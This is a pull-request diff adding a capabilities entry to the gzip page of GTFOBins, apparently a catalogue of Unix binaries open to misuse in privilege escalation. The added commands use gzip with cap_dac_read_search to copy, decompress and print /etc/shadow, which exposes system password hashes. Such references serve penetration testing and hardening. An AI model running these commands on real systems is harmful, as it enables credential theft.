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Update gzip.md #473

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7 changes: 7 additions & 0 deletions _gtfobins/gzip.md
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Original file line number Diff line number Diff line change
Expand Up @@ -16,4 +16,11 @@ functions:
- code: |
LFILE=file_to_read
sudo gzip -f $LFILE -t
capabilities:
- description: If cap_dac_read_search is set. Run ``getcap -r / 2>/dev/null`` to confirm ``/usr/bin/gzip cap_dac_read_search=ep``
code: |
gzip can read any file:
gzip -c /etc/shadow > /tmp/shadow.gz
gzip -d /tmp/shadow.gz
cat /tmp/shadow
---